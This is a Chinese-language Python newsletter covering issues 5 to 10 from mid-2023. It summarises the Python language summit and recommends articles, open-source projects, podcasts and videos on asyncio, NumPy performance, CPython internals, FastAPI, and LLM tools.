Brett Cannon 提出的问题实际是:标准库应该扮演什么样的角色?Python 在发展初期自诩“自带电池”,包含了很多标准库,但随着第三方库越来越丰富以及 PyPI 使得安装库非常便利,很多标准库就不再有价值了。与会者的共识是:标准库应该专注于帮助用户编写更好的 Python 代码。这意味正在进行的标准库“瘦身计划”不会停,同时,未来的新标准库会更加规范引入。
模式匹配语法是 3.10 版本的重大特性,但是 Sullivan 认为它的能力相当有限,因此提出了模式匹配的后续发展方向。与会者们普遍认同要增强模式匹配语法,然而,是否要引入一个新的魔术方法 __match__,或者采用别的方案,暂无定论。文中附有很多代码示例以及关于模式匹配的参考资料,对此话题感兴趣的同学可以去了解下。
Russell Keith-Magee 介绍了 BeeWare,它的目标是在 Android 和 iOS 等移动平台上轻松运行 Python。项目已得到 Anaconda 的投资支持,演讲者的诉求是希望得到 CPython 的“Tier-3”支持。会上讨论了 CI 测试套对移动平台的支持、sys.platform 在移动平台应该得到什么值、以及如何在移动平台发布 CPython 二进制文件,等等。手机上的 Python,这值得期待!
Guido 在峰会上聊了开源倦怠、解决倦怠的策略、以及如何避免倦怠等话题。很多时候,开源贡献者都是在用爱发电,然而大型开源项目还常常有复杂的场景、琐碎的讨论、多样的人际协作、时常冲突的观点或想法等,这些都容易让人疲倦、消磨人的热情。(PS.如果你关注技术新闻的话,会看到 Rust 社区最近闹得沸沸扬扬的核心开发者内讧事件。开源社区的发展也是一大难题,庆幸的是这届峰会反映出 Python 社区是在健康发展中)
介绍了三场简短的闪电演讲,主题有:让我们支持 LLVM-BOLT 作为官方功能、在 Python 中实现延迟导入的机制、让模块支持调用(已提出 PEP-713)。
以上就是今年峰会上讨论的重大议题,可以说都是非常有意义的话题。
有不少内容其实已经有了最新进展(毕竟活动已结束一个月),还有一些可能仍需较长时间才能尘埃落定(比如 nogil 和手机上的 Python)。
这里再补充两篇文章,有关于 Fast CPython 项目的进展:《Faster CPython at PyCon, part one》、《Faster CPython at PyCon, part two》,Python 3.11 已经让大家看到了非常多的性能提升,未来版本更值得期待。

第5期(2023-06-03)

文章&教程

文中测试了主流的编程语言(Rust、Go、Java、C#、Python、Node.js 和 Elixir),依次运行 1 个、1 万、10 万和 100 万个任务,统计了这些语言所消耗的内存。随着任务量增加,它们的排名出现了较大变化,让我感觉挺意外的。
使用 asyncio 有什么最佳实践呢?这篇文章介绍了 asyncio.gather、asyncio.as_completed 和 asyncio.wait API,还介绍了 Python 3.11 中引入的新 asyncio.TaskGroup 特性。(附一篇不完整的译文
3、原推荐文章为拼凑且非原创,已删
也是一篇长文,介绍了 Python 多线程编程的方方面面,真的是一份终极指南。
依然是长文,介绍了常见的并发模型及不同编程语言是如何实现的。它的姊妹篇是《编程语言是如何实现并发的之操作系统篇》,都是图文并茂,资料翔实。
作者分享了自己工作多年对代码设计、架构设计和工作思维的经验,比如 DRY 原则、SOLID 原则、高可用设计、如何想尽一切办法“偷懒”,等等。(文中提到了面向对象编程的原则,这里顺便推荐另一位鹅厂程序员的《Python工匠》系列的第 12-14 章)
f-string 是 Python 最好用的特性之一,但它也有诸多限制。即将发布的 3.12 会对 f-string 作语法规范化,详情可查看 PEP-701 。这里分享的文章带大家直观地感受了这个改动在代码的词法解析(lexing)层面的不同。
大家都用上 PyCharm 新的 UI 了么?这份官方教程介绍了新 UI 的使用方法及亮点。
Python 3.12 正式版本还要几个月才发布,这边 3.13 已经迫不及待地移除了 20 个标准库。值得一提的是,2to3 项目及 lib2to3 模块也将会被移除。
Locust 是 Python 最主流的分布式负载测试库,而文章介绍的 Grasshopper 是新开源的基于 Locust 与 Pytest 的更全面的性能测试库。
Python 装饰器是增强代码行为和灵活性的强大工具,文章内容从基础到高阶,是不错的学习材料。
12、三个练手项目的实战教程:
  • 用 Python 开发 Telegram 机器人 (英文):开发 tg 机器人,教程使用 Tornado 作后端,项目部署在 Render 平台上
  • 花一周末用 Python 实现 DNS (英文):教程指导实现一个 DNS 解析器,总代码仅约 200 行,但作者给出了很多学习材料和代码讲解,你能学到的绝对够多。另外,教程最后还有 7 个练习题,可以进一步开发 DNS 解析器的功能。(Julia Evans 是一个宝藏作者,博客网站pandas-cookbook ,等等,强烈推荐!!!)
  • 用 Python 构建你自己的 Git (英文):这个项目我要给它满分!教程网站设计得独特而酷炫,从最小可行项目起步,逐渐添加代码,手把手教你实现 Git 的各种功能。每章都使用 Git 的差异比对方式,明确告诉你增删了哪些代码,良心满满,全网估计找不着第二家!

项目&资源

frogmouth 可以打开本地或 URL 中的 md 文件,具有类似浏览器的导航条、历史记录、书签和目录。
一个 Python 桌面程序,为 Meta 公司的 AI 模型 SAM 提供了图形界面,可以提取照片里面的物体。
你有对象了么?这个入门项目使用 ChatGPT 构建一个 AI 伴侣, 拥有个性化的人格、声音以及自拍照!
一份技术分享的 PPT 材料,介绍了 Python 3.7-3.11 在性能、类型体验及开发者体验方面的优化。
SoundStorm 是 Google Deepmind 新提出的一个高效的、非自回归的音频并行生成模型。soundstorm-pytorch 使用 Pytorch 实现了这个模型。
asynq 是 Quora 开发的异步编程库,专注于对外部服务的批处理请求。对于 memcache、redis 等存储服务,它发起一次请求批量获取多个 key,比发出多次请求每次获取一个 key 要快得多。
一个基于 pydantic、fastapi 和 pytest 的异步框架,简化了 MQ 的代码集成,并提供了一个有用的开发工具包。其特点是基于消息架构(Messaging Architecture)设计,所以它还是个声明式的 MQ 框架。
它利用 OpenAI 的 Whisper 模型将用户输入的语音转换为文本,再调用 GPT4All 的语言模型得到回答文本,最后利用文本转语音(TTS)的程序将回答文本朗读出来。
这是一个用于自我监督学习的计算机视觉框架,以类似 PyTorch 的风格编写,支持使用 PyTorch Lightning 进行分布式训练。

播客&视频

探讨了在海外独立开发者中最常用的 build in public 策略。我对这期节目很有共鸣,打算针对本周刊的一些数据、周刊的创作流程、个人知识输入及创作体系等话题,不久会做一些分享。
这是一档新上线的程序员闲聊播客节目,主题很随性,但常常有能打动人的片段。这里分享的是第一期,它目前已更新到第三期,第三期请的嘉宾是 Vue 的作者尤雨溪!
这期播客聊了一些 Git 工具,如 Git-Heat-Map、Git-Sim、git-bug、GitUI,等等。因为有两个工具是用 Python 编写的,因此也聊了一些 Python 安装依赖包的话题。Brett Cannon 针对主播们的错误用法,写了一篇回应博客 ,主要介绍了 pipx、.pyz 文件以及系统包管理器的正确使用。
“Talk Python To Me”的这期播客探讨如何处理程序要用到的敏感信息,同时也聊到了日常个人密码的保存方案。我正巧本周还看到一篇《2023-21: 我的 1Password 密钥管理实践》,它系统介绍了密码管理、SSH/Shell 集成和 CI/CD 应用等内容。
使用 OpenAI 的 ChatGPT API 构建系统、LangChain 用于开发 LLM 应用、Diffusion模型是如何工作的。
麻省理工学院的免费课程:Python 计算机科学和编程简介、经典机器学习、深度学习。

第6期(2023-06-10)

🦄文章&教程

文章出自群友@孙孟越,介绍了 Python 3.12 中他深度参与的几个大更新,比如 PEP-701 定型 f-字符串的句法、PEP-688 给 Python Buffer Protocol 暴露 Python 接口、PEP-695 类型参数语法,等等。另外,他在前一篇《CPython 贡献日记》中介绍了给开源社区做贡献的相关知识,比如提 PR 的小技巧、提/解决 Issue 的小技巧,等等。(你也想给 Python 贡献代码么?请参考:Python Developer’s Guide
文章介绍了目前流行的 67 个工具,包括大语言模型、搜索引擎、办公、内容生成、精神需求、提示词学习等方向,它还梳理了下面这张思维导图:
文章从一本 Python 入门书籍中找出了 30 个有代表性的错误,并给出了“离谱程度”评分。作者批判性阅读了那本书,同理,读者们也应该批判性阅读这篇文章,因为它说得也并不都对。(@TheFry 投稿)
通常我们使用纯 SQL 或者 ORM 框架来操作数据库,作者比较了这两种方案,指出了它们的诸多缺陷,然后提出了一种新的技术设想。作者从 8 个方面介绍了自己的思路,包括迁移优先、声明式迁移、跨语言移植、更好的 SQL,等等。作者还演示了一个工作流以及 Python 代码示例。
作者先介绍了 Python 与操作系统交互的一些常用库,比如 pathlib、tempfile、shutil、os、subprocess 等等,最后再介绍了他最为推荐的 sh 库的相关用法。这个库的方法对熟悉 shell 命令的同学非常友好。
文章使用 Locust 作负载测试,简单演示了将同步的 Flask 程序修改为异步后,性能数据上的变化。
核心开发者 Brett Cannon 的博客介绍了他的思考,提议增加一个struct 关键字,用于更方便地创建数据类,类似于 C、Rust 与 Go 的结构语法。文中介绍了他的目标以及这个关键字的实现原理,目前在收集意见阶段,未来不排除会提成一个 PEP。
出自《从 1 到 ∞ 精通 Python》系列,已包含 17 篇文章。作者参考了《Python 源码剖析》的分析方法及结论,深度探析了 Python 解释器源码,讲解 Python 重要特性的实现原理。
文章梳理介绍了 39 个用于开发及测试的 Python 框架,内容很长,介绍的范围很全面。
10、内容删除
这是一篇入门教程。Kivy 是一个用于开发图形用户界面的库,支持桌面的跨平台开发,也支持为移动设备创建多点触控的程序。
当需要加快 NumPy 速度或减少其运行内存时,通常使用即时编译器 Numba。文章针对现代 CPU 的特点来优化 代码,将一个去除图像中的噪点程序的耗时从 48 ms 降到了 2 ms。
ReversingLabs 研究团队发现了一种针对 PyPI 的新型攻击,它使用编译后的 Python 代码来规避检测——可能是第一个利用 PYC 文件直接执行的攻击。
这是一篇译文,原文作者是 OpenAI 的创始成员 Andrej Karpathy。文章使用 PyTorch 实现了一个极简 GPT,让读者对其内部工作机制有个直观理解。
这也是一篇译文,原文作者是阿姆斯特丹自由大学的助理教授。原文最早写于 2019 年,那时大语言模型还没有如今火爆。在文章末尾,作者希望 transformer 扩展到其它领域,因为它有很强的通用性。

🐿️项目&资源

NeoDB 是一个用 Django 写的开源项目,也是一个联邦宇宙书影音游戏标注平台,可简单理解成 Web3 的开源的无审查的豆瓣,但支持标记的内容比豆瓣多得多。(这个库是在@laike9m 的博客看到的。以及非常感谢他在 Twitter 上推荐了本周刊!!)
JupyterLab 4.0 主要的新功能有:性能更快、升级的文本编辑器、新的扩展管理器、UI 改进,等等。
3、pystack (英)
pstack 是 Linux 系统上常用的命令行工具,用于显示一个进程的函数调用栈,可诊断进程卡死、死锁等问题,以及分析进程的性能瓶颈。pystack 是用 Python 写成的类 pstack 库。值得一提的是,它竟然还可以显示线程是否持有、是否在等待或正在释放 GIL。
这是一个基于 ChatGPT 的 Python 在线学习平台,内置了 AI 助手以及在线代码运行模块,允许你随时修改示例代码,一键运行,一键查错。(@Stanaaa 投稿)
M3E 是一个中文开源的 Embedding 模型,使用千万级 (2200w+) 的中文句对数据集进行训练,在文本分类和文本检索的任务上都超越了 openai-ada-002 模型。(@王宇昕投稿)
ReactPy 是一个库,用于在 Python 中构建用户界面,且不使用 Javascript。它的接口类似于 ReactJS 中的组件,可供没有 Web 开发经验的人使用。
基于 Python + Vue3.js 技术栈实现的域名和 SSL 证书监测平台,核心功能:到期自动邮件提醒。
一个可视化爬虫软件,只需在网页上选择想爬的内容,并根据提示框操作即可完成爬虫设计和执行。也支持以命令行方式执行,可以方便地嵌入到其他系统中。这个项目源于原作者的浙江大学硕士论文,已获得国家发明专利,相关资料可在仓库查看。
一个开源的文本生成视频模型,整体模型参数约 17 亿,使用英文输入。放出来的演示视频非常惊艳。
SAM 即“分割任意物体模型”(Segment Anything Model),是计算机视觉领域中非常有用和先进的模型,用于需要精确识别和分割任意物体的应用场景。这个项目使用它来分割地理空间数据。
该项目可以在 Python 的回溯信息中添加变量。通过记录日志或打印彩色的变量上下文信息,方便调试异常的原因,并显示堆栈跟踪中每个帧的变量值。

🐢播客&视频

视频来自 B 站@码农高天,他从 3 月份起,有 20 几个 pr 已合入 Python 3.12。这期视频详细介绍了他做出的几个贡献,主要有完善 pdb 文档、修复了几个 bug、引入 convenience variable 特性,等等。(作者在第一次 pr 被合入后,录了一期《我给Python修了个bug!从今天起,也算是Python开发者了?》)
今年 PyCon US 活动的视频已经可以看了,共用 142 个视频!PyCon 是全球性的最大的 Python 开发者会议之一,由 PSF 主办,通常在 PyCon 活动期间会举行“Python 语言峰会”,今年的峰会议题详见《Python潮流周刊#4:Python 2023 语言峰会》。
2023 年 PyCascades 活动上的视频在上个月发布了,有 20 几个视频。PyCascades 是一个专注于 Python 编程语言的会议,通常在北美地区举行,每年一次。它类似于 PyCon,但是由独立的组织者和志愿者自发组织,规模更小。

第7期(2023-06-17)

🦄文章&教程

1、AsyncIO (英)
文章的作者讨厌 asyncio 库,认为使用 asyncawait 的设计十分糟糕,它与大多数库不兼容,也不满足“Python之禅”的一些标准。作者的推荐方案是 gevent,提及了它的几点好处。另外,作者还推荐了两篇相关的文章:Flask 作者 Armin Ronacher 的《I don’t understand Python’s Asyncio》,SQLAlchemy 作者 Mike Bayer 的《Asynchronous Python and Databases
gevent 是一个基于协程的协作式多任务 Python 框架,使用猴子补丁来协调所有代码。这篇文章是一个系列的第一篇,介绍了 gevent 的基本实现原理,第二篇是《Gevent Correctness》,第三篇是《Gevent Performance
上期周刊推荐过的 ReactPy 最近很火,它支持用 Python 写 React 风格的前端应用。这里是一篇简单的入门教程。另外,建议感兴趣的同学去看官方文档
如何简单而优雅地解决 Python 的循环依赖问题呢?作者考察了主流 API 框架(Django、Flask、FastAPI)的上下文管理方案,然后介绍了自己框架采用的方案:借鉴了 Ray 社区中对象所有权的概念,在一个协程上实现一个简易的所有权字典。
跟踪 Python 函数调用时访问的代码和数据是一种很有用的操作,比如绘制依赖图、调试和分析性能、缓存失效。这篇文章考察了一种可能的实现方式,包含了一个少于 100 行代码的最小可行实现。作者是 MIT 的计算机科学博士。
这是一篇入门教程,通过简短的示例,介绍了 Python Typing 模块的基础用法和进阶用法。
wxPython 是跨平台的图形用户界面框架,基于 wxWidgets 库开发,在 1998 年发布。它最新发展到了 4.x 版本,这篇文章基于最新的特性作了详细的入门介绍。
一篇很认真的文章,介绍了装饰器的基本概念和进阶用法。在示例部分介绍了 Django 的几个很常用的装饰器(@login_required@permission_required@csrf_exempt@cache_page)。
多进程编程时最麻烦的事情之一就是共享数据,这篇文章介绍了 7 种共享 Numpy 数组的方式:传递参数、使用全局变量、使用队列 Queue、使用管道 Pipe、使用基于 ctypes 的 RawArray、使用 Python 3.8 的 SharedMemory、使用多进程的管理器。这是一篇系统性的长文,里面还引用了作者的一些相关文章,十分推荐阅读。
时间序列数据(Time-Series Data)是指在不同时间点上收集的数据,这篇文章介绍了在 Python 中分析时间序列数据的工具,包括常用的 NumPy、pandas 和 Matplotlib,以及 Tsfresh、Sktime、AutoTS、Prophet、Timescale 等。
在数据分析和机器学习领域,需要尽量确保数据集的完整性和准确性,因此处理缺失值是必不可少的环节。文章先介绍了数据缺失的原因和模式(完全随机丢失 、随机丢失和不随机丢失),然后介绍了处理缺失值的常用方法:删除、填充、插补。
这篇文章用 10 个不同的基准作性能比较,涵盖了多种场景及边缘情况,包括斐波那契数列、斐波那契数列(迭代)、矩阵乘法、质数生成、字符串拼接、计算均值、计算均值(未优化)、算术运算、文件操作、线性搜索、冒泡排序。猜猜最后的结论是什么呢?
服务器推送事件 (Server-Sent Events) 是一种基于 HTTP 的单向通信协议,允许服务器向客户端实时推送数据。这篇文章解释了如何使用 FastAPI 实现流式处理 JSON 事件。文章出自“FastAPI Pro 系列”,另外两篇文章关于如何使用动态配置如何加密保护 API
中间件(middleware)是 FastAPI 中的一种机制,允许在 HTTP 请求和响应到达路由处理程序之前拦截和修改它们。文章包含 20 个与中间件、身份验证和授权相关的面试题。
上期周刊引发了“国内 Python 贡献者数量”的话题,@yihong0618 在推特上留言分享了 @penguin-wwy 给 CPython 提交的这个贡献。该作者发现 LOAD_CONST + RETURN_VALUE 高频出现在 pystats 文档中,因此提交了一个新的 RETURN_CONST 指令,此项贡献在 Python 3.12 基准测试中获得约 10% 的性能提升。

🐿️项目&资源

在使用 Python 命令或者命令行工具时,一个痛点是没有补全。使用 argcomplete 后,按 tab 键就可以自动补全。它需要与 argparse 模块一起使用,目前支持 bash 和 zsh 两种 shell。
这是一个系统性学习了中国的法律知识体系的大语言模型,能够正确理解民法、刑法、行政法、诉讼法等常见领域的法律概念,可进行基础的法律咨询,涵盖婚姻、借贷、海商、刑事等。
这是一个完全开源、允许商用的百亿参数中英文基座模型,采用 Transformer 自回归架构,在超万亿(trillion)高质量语料上进行预训练。在中文的 Zero-CLUE 评测基准上,它大幅超越其他模型,位列中文大模型第一。
也是国内团队开源的大语言模型,根据 OpenAI InstructGPT 论文在公开 NLP 数据集上的自动评测,TigerBot-7B 达到 OpenAI 同样大小模型的综合表现的 96%。
New Bing 集成了 ChatGPT,但是在国内使用的门槛有点高!这个项目的客户端基于 Angular,服务端基于 FastAPI 和 EdgeGPT。在本地部署好后,运行服务端程序即可开始使用客户端。(另外推荐一个项目 go-proxy-bingai,是用 Vue3 和 Go 搭建的 New Bing 演示站点,国内可用,无需登录即可畅聊)
这是 GitHub Copilot 的开源/本地替代品,无需 DBMS 或云服务,拥有 Web UI,支持消费级的 GPU。
一个功能极简、代码极简、自带四种主题、支持生成 RSS 的静态博客生成器。项目基于 Python 3.10,主要使用的库有 arrow、click、jinja2、mistune 等。
8、gpt-engineer (英)
这是一个基于 ChatGPT4 的 AI 工程师,你只用告诉它需求,然后它会问几个问题,接着生成整个项目代码。提供出来的演示视频非常惊艳!
这是 FaceBook 开源的一个 PyTorch 库,有最先进的 EnCodec 音频压缩器/分词器,内含文本到音乐模型 MusicGen,使用了 10K 高质量音乐曲目的内部数据集,以及 ShutterStock 和Pond5 的音乐数据。
Python 中有很多开发 GUI 的库,除了前文提到的 wxPython,还有 Tkinter、PyQt、PySide、Kivy 等等。这个网站上提供了很多 GUI 相关的学习资料。
这是一本用 GitBook 制作的在线电子书,翻译自微软独立研究员 Anthony Shaw 的《CPython Internals》。

🐢播客&视频

这期播客聊了关于重构的相关话题。
有三个看起来完全一样的列表:[0]*3、[0,0,0]、[0 for _ in range(3)],但是使用 sys.getsizeof() 计算的内存却完全不同。这是为什么呢?这期 B 站视频通过分析字节码和 CPython 解释器源码,非常硬核地分析出了根本原因,值得一看!
这里呼应一下本期标题及第一则内容。asyncio 依然是最主流的异步编程库,近几年也在逐渐发展成熟,很有必要深入学习。这是一则 B 站视频,适合用于入门与加深理解。

第8期(2023-06-24)

🦄文章&教程

Faster CPython 项目(即香农计划)有了关于 3.13 版本的最新计划,这次的性能目标是减少解释器 50% 的耗时。涵盖三项主要工作:第 2 层的优化器、启用子解释器(PEP-554)、内存管理。
Numpy 是作科学计算和数据分析的最重要的库之一,并行性是提升其性能的重要手段。文章介绍了 5 种可以实现 Numpy 并行性的场景和方法:加载/保存 Numpy 数组数据、高效地计算数学函数、高效地初始化数组、并行执行数组的元素级数学运算、在进程间高效共享 Numpy 数组数据。
文章针对一个有性能问题的 Python 库,使用 Rust 重写并作了三轮优化后,提升了性能 100 倍。文中使用了 py-spy 库绘制火焰图,分析出了代码的瓶颈点,并以此作为优化的依据,可以看到前后火焰图的差别很大。
文章指出“一步到位的移植”方式存在一些问题,从而提出“迭代式移植”的方法,并给出了一个代码示例。
如何设计出一个 Pythonic 的 API?在设计上有什么方法和基本原则呢?文章从代码结构、变量命名、错误处理、版本控制、类型注解等方面,给出了非常详细的介绍。文章较长,最后总结出 18 条 takeaways。
Python 已支持类型提示,那能否编译 Python 代码为本地代码以提升性能呢?虽然类型提示可以提供一些性能优化,但由于 Python 的动态特性和灵活性,使得静态分析和编译非常困难。因此目前还没有一种方法可以将 Python 代码编译成本地代码以提高性能。
夹具(fixture)是在测试前设置和准备必要数据的一种机制,可以将测试数据和测试代码分离。文章介绍了 pytest 中夹具的基本用法,以及与 Django 项目的结合使用。
这是一个系列文章,支持用可视化的调试方式探析 Python字典的实现原理。这篇文章介绍了如何通过哈希表实现字典,以及如何解决哈希冲突。
Python 最主流的两个 Web 框架是 Flask 和 Django,文章深入比较了它们的主要功能、优势与缺点、流行的插件和使用场景等,让读者更方便做出自己的选择。
文章的要点是:介绍一个基本的 Python 打包流程,尽可能减少依赖和要求,并解决大多数用户的打包问题。文中列出了一些常见的打包问题,并提供了一些解决方案,同时指出了一些常见的打包工具(如 homebrew、pyenv、anaconda、poetry)的缺点。
文章介绍了在 PyScript/Pyodide 中使用 async/await/asyncio 来编写并发代码,还介绍了 Pyodide.Webloop 的实现,该实现允许 async/await 与浏览器事件循环一起使用。
上期周刊第一则分享中的三篇文章偏向于支持隐式的 async,有读者建议再呈现一些支持显式 async 的观点。这篇文章的要点是:线程会使本地推理变得困难,而本地推理是软件开发中最重要的事情之一。因此,应该避免使用线程,而使用异步编程模型,如回调、promise、协程等。同时,文章还提到了使用隐式协程的风险,因为它们可能会导致与线程相同的问题。(@Plutonium 投稿)

🐿️项目&资源

目前开源且美观实用的 PyQt/PySide 组件库很少,所以作者照着 WinUI3 的设计稿写了这个 Fluent Design 风格的组件库,支持亮暗主题无缝切换和自定义主题色,支持 PyQt5/PyQt6/PySide2/PySide6 ,搭配 QtDesigner 可以快速设计出美观的界面。(来自@shokokawaii)
PyVibe是一个用于创建网页的 Python 库,让 Python 开发者快速构建前端页面,简化 UI 开发。PyVibe 返回一个 HTML 字符串,可用于静态页面、Flask 函数、Pyodide 动态客户端呈现。
Pynecone 发布于 2022 年 12 月,已获得 9K 星星,可谓十分火爆。它是一个用于构建和部署 Web 程序的全栈框架,提供了 50+ 内置组件,支持创建复杂的布局和使用 CSS 的全部功能来设置样式。
这个项目包含了一些短小却很有挑战性的项目代码,既有“Advent of Code”历年的年度编程挑战活动的题目,也有“The Riddler”的系列数学谜题,还有文字谜题、概率问题等,甚至有使用 Python 解任何的数独题、实现一个 lisp 解释器,等等。
Recognize Anything Model 是一种图像标记模型,可以高精度地识别任何常见类别;Tag2Text 是一种以标签为指导的视觉语言模型,可以支持字幕、检索和标签。这个项目是这两个模型的代码实现。
支持使用自然语言同时与多个 PDF 文件进行对话。项目使用了 streamlit,可在浏览器中显示用户界面。
DeepKE 是用于知识图谱构建的知识提取工具包,支持 cnSchema、低资源、文档级和多模态场景的实体、关系和属性提取。三个主要功能:命名实体识别、关系提取、属性提取。项目提供了详细的文档、教程和在线演示。
一个“awesome”系列仓库,收录了关于 DevOps 的方方面面的内容,包含各种平台、自动化、CI/CD、代码管理、网络服务器、数据库、监控工具、网关、混沌工程,等等。

🥂讨论&问题

一则热门讨论,话题关于 Python 3.13 版本的开发计划。不出意外,大部分的留言都围绕着 GIL,赞成与反对声皆有。
这也是一则 HN 上的帖子,既引起了关于编程语言本身的讨论,也涉及不同编程语言生态中的一些优秀的项目。有趣的是,有三则关于 Python 的留言都推荐了我们在上文中分享的pytudes 项目!

第9期(2023-07-01)

🦄文章&教程

一篇步骤清晰的教程,它使用 LangChain 及 Facebook 开源的 LLaMA 大语言模型搭建了一个基于文档的问答助手,另外使用 Streamlit 构建出一个美观的用户界面。(附一篇中文的翻译文
一个 Python Asyncio 协程会占用有多少内存呢?文章的测试结论是约 2Kb。另外,文中还测试了以下的问题:每秒可创建多少个裸协程?每秒可处理多少个协程?使用uvloop 后,创建及处理协程任务,能有多少提升?
asyncio.Runner 是 Python 3.11 中新增的功能,支持在同一事件循环中执行多个协程。文章主要内容:如何使用 asyncio.run() 运行多个协程,如何使用包装方法运行多个协程,以及如何使用 asyncio.Runner 类在同一个事件循环中以自适应甚至有条件的方式执行协程。
在并发编程中,通常需要使用锁,但是不应该滥用锁。这篇文章探讨了如何尽量不依赖锁来实现并发,演示的例子是生成短链接,主要的思想是“请求宽恕”而不是“提前检查”、使用 PostgreSQL 数据库提供的功能。
文章介绍了 CPython 是如何把 Python 代码跑起来的,主要过程:词法分析、语法分析、编译到字节码、执行字节码。
文章探讨了 JIT 编译的概念及其优点,并深入分析了主流的 Python JIT 编译器的优缺点(如 PyPy、Numba 和 Cython),介绍了在 Python 中使用 JIT 编译器的最佳实践和准则。
当我们说 Python 时,通常指的是官方实现的 CPython,但还有很多的“Python”,比如 Pypy、Jython、MicroPython、Brython、RustPython 等等,还有很多像是新“Python”的东西,比如 Nuitka、WinPython、Psyco、Pyjion 等等。文章解释了相关的概念和工具。
APScheduler 是一个调度和自动化任务工具,它的 AsyncIOScheduler 支持调度异步函数和协程,文章介绍了它的功能、优点以及如何优化异步任务调度需求。
GPT 和其它大语言模型可以快速生成大量代码,但这也可能导致很多的混乱代码。文章探讨了如何改进这些工具生成的代码,并将其融入到项目中的几种方法,包括采用专家角色、提供示例、遵循最佳实践、遵循标准和明确指南以及代码放置的恰当位置等。
在不考虑并行处理的情况下,如何提升 Numpy 性能?NumPy 有三个固有瓶颈(急切执行、通用编译代码和向量化导致的高内存使用率)。针对这些瓶颈,文章介绍四种解决方案:手动优化代码、使用 JAX 作即时编译、使用 Numba 作即时编译,以及使用提前编译。
Numba 是一个专用的即时编译器,通过将 Python 代码编译为高效的机器代码来消除解释执行的开销,从而提升性能。文章介绍了 Numba 的功能、内部原理、主要用法和常见问题。
如何使用较少的时间和精力来提升代码的质量?文章介绍了一些提升代码质量的工具(flake8、Black、isort、mypy、bandit等),以及使用 IDE、CI 和 pre-commit 等方式自动化调用这些工具。
PandasAI 是最近火爆的库,为 Pandas 集成了 AI 对话功能,可简化数据操作。文章介绍了 PandasAI 作复杂查询与图表可视化的方法,以及介绍了它提供的十几个方便好用的函数。
单元测试的好处无须赘述,但是写单测却是开发者最讨厌的事情之一。文章罗列了 10 条写单元测试的最佳实践,介绍了手工写单元测试的步骤,最后介绍了使用 Codium.AI 自动化编写测试的方法。
Netflix 官方的一篇博客,介绍了在将手机 APP 安全地从 Falcor 迁移到 GraphQL 的过程中,所采用的三种测试策略:AB 测试、Replay 测试和 Sticky Canaries。AB 测试用于评估新功能对客户的影响,Replay 测试用于验证迁移的正确性,Sticky Canaries 用于验证性能和业务指标。
🎁Python潮流周刊🎁访问下方链接,即可查看全部内容:https://pythoncat.top/tags/weekly

🐿️项目&资源

一个在 Jupyter Notebook 环境中运行的可视化探索式分析工具,仅一条命令即可生成一个可交互的图形界面,以类似 Tableau/PowerBI 的方式,通过拖拽字段进行数据分析。(star 6.5K)
用 Julia 为 Python 写高性能的 C 扩展,提速约 200x。(@xgdgsc 投稿)
JupyterLab 官方提供的生成式 AI 扩展,主要提供了:%%ai 指令、原生的聊天 UI 页面、支持大量平台的大语言模型(AI21、Anthropic、Cohere、Hugging Face、OpenAI、SageMaker 等)。
一个发布订阅者框架,支持同步异步调度、定时任务、主题管理、发布订阅者回调等功能。(@Zeeland 投稿)
一个基于磁盘缓存的 ORM 框架,可对基本数据类型及自定义的数据通过 ORM 进行增删改查,支持多种序列化操作和数据压缩方式。(@Zeeland 投稿)
如何测试机器学习模型、要涵盖哪些问题、如何实施测试?这个框架可扫描数十种漏洞(性能偏差、数据泄漏、不鲁棒性、虚假关联、过度自信、信心不足、不道德问题等),并基于结果生成特定领域的测试套件。(star 1K)
本周最火项目,可在图像上通过拖动点的方式,生成想要的新图像,非常惊艳!(star 28K)
除了类似 shell 的语法和方便的快捷方式外,这个库还提供了本地和远程命令执行(通过 SSH)、本地和远程文件系统路径、简单的目录和环境操作、以及一个可编程的 CLI 工具包。(star 2.6K)
支持用文本提示、单个图像和少量镜头图像创建 3D 内容。支持多种模型,如 ProlificDreamer、DreamFusion、Magic3D、Score Jacobian Chaining,等等。(star 1.8K)
支持删除图像的背景,支持多种使用方式(cli、库、docker)和多种强大的功能。(star 10.5K)

第10期(2023-07-08)

🦄文章&教程

常见的垃圾回收算法有哪些,它们的优缺点是什么?Python 的垃圾回收机制由什么组成,如何解决内存泄漏问题?Golang 的垃圾回收机制又是怎样的,如何解决内存泄漏问题?
编程竞赛需要在限定时间内解决一系列难题,这篇文章介绍了在编程竞赛中作自动调试的方法。它的方法除了可以提升成绩,对于现实的软件开发也有所启示。
Python 3.12 最终版将在今年 10 月发布,其中最大的变化之一是支持 Linux perf 分析器。这篇文章介绍了什么是 Linux perf 分析器、perf 能给 Python 带来什么好处、如何在 Python 3.12 中使用 perf、如何分析性能数据、性能数据可视化……
Łukasz Langa 是 PSF 的首个全职开发者(由 Meta 赞助),近日发文表示要新招聘一名“副手”工程师(由彭博社赞助)!两周前,PSF 官网刚公布了首个全职的安全开发工程师 (由 OpenSSF 赞助),现在又有了新的赞助,真的要感谢慷慨的赞助者们!
PEP-563 注解的延迟求值,PEP-649 使用描述符作注解的延迟求值。这篇 2021 年的文章出自 PEP-563 的作者 Łukasz Langa,介绍和对比了这两个 PEP。它们都是 Accepted 状态,然而原计划在 3.10 发布的 PEP-563 已被宣告无限期搁置 ,所以它似乎需要更多的关注?(@Plutonium 投稿)
在构建复杂软件时通常会使用设计模式。文章介绍了观察者设计模式、其使用场景与 Python 代码示例,另外与事件驱动架构(EDA)作了几项对比。
文章介绍了 Python 中三种导入模块的方式和__all__的用法,重点介绍了一种替代__all__的方法,即在 __init__.py 文件中直接导入所需的名称。
如何用 Python 来实现一门编程语言呢?这是一个系列教程,第一篇中实现了一个非常基础的编程语言,可以执行 print 语句,第二篇则拓展成支持变量和数学表达式。涉及词法分析、语法分析、代码生成及执行等知识。
Counter 是 Python 中最好用的数据结构之一。这篇文章介绍了一些很有用的操作:获取出现次数最多的 N 个内容、添加内容到 Counter、移除内容、删除负计数内容、Counter 作算术运算、Counter 传入生成器表达式。
Numba 是用于提升 Python 性能的常用手段,这篇文章介绍了它的重要功能 Vectorize(矢量化),包括它的内部原理,了解它如何充分利用单指令多数据(SIMD)操作的强大功能。文中展示了 5 个使用场景的代码示例。
Paul Graham 是《黑客与画家》的作者,最近发布了文章《How to Do Great Work ?》。一句话概括要点:做出伟大的工作需要好奇心、努力和适合自己的工作类型。文章较长,关键的几个问题:什么是做伟大工作的关键?如何找到适合自己的工作类型?如何保持好奇心?什么是伟大工作的标准?为什么要努力做伟大工作?
翻译自 Paul Graham 写于 2021 年的《How to Work Hard ?》,可与上一则内容关联阅读。
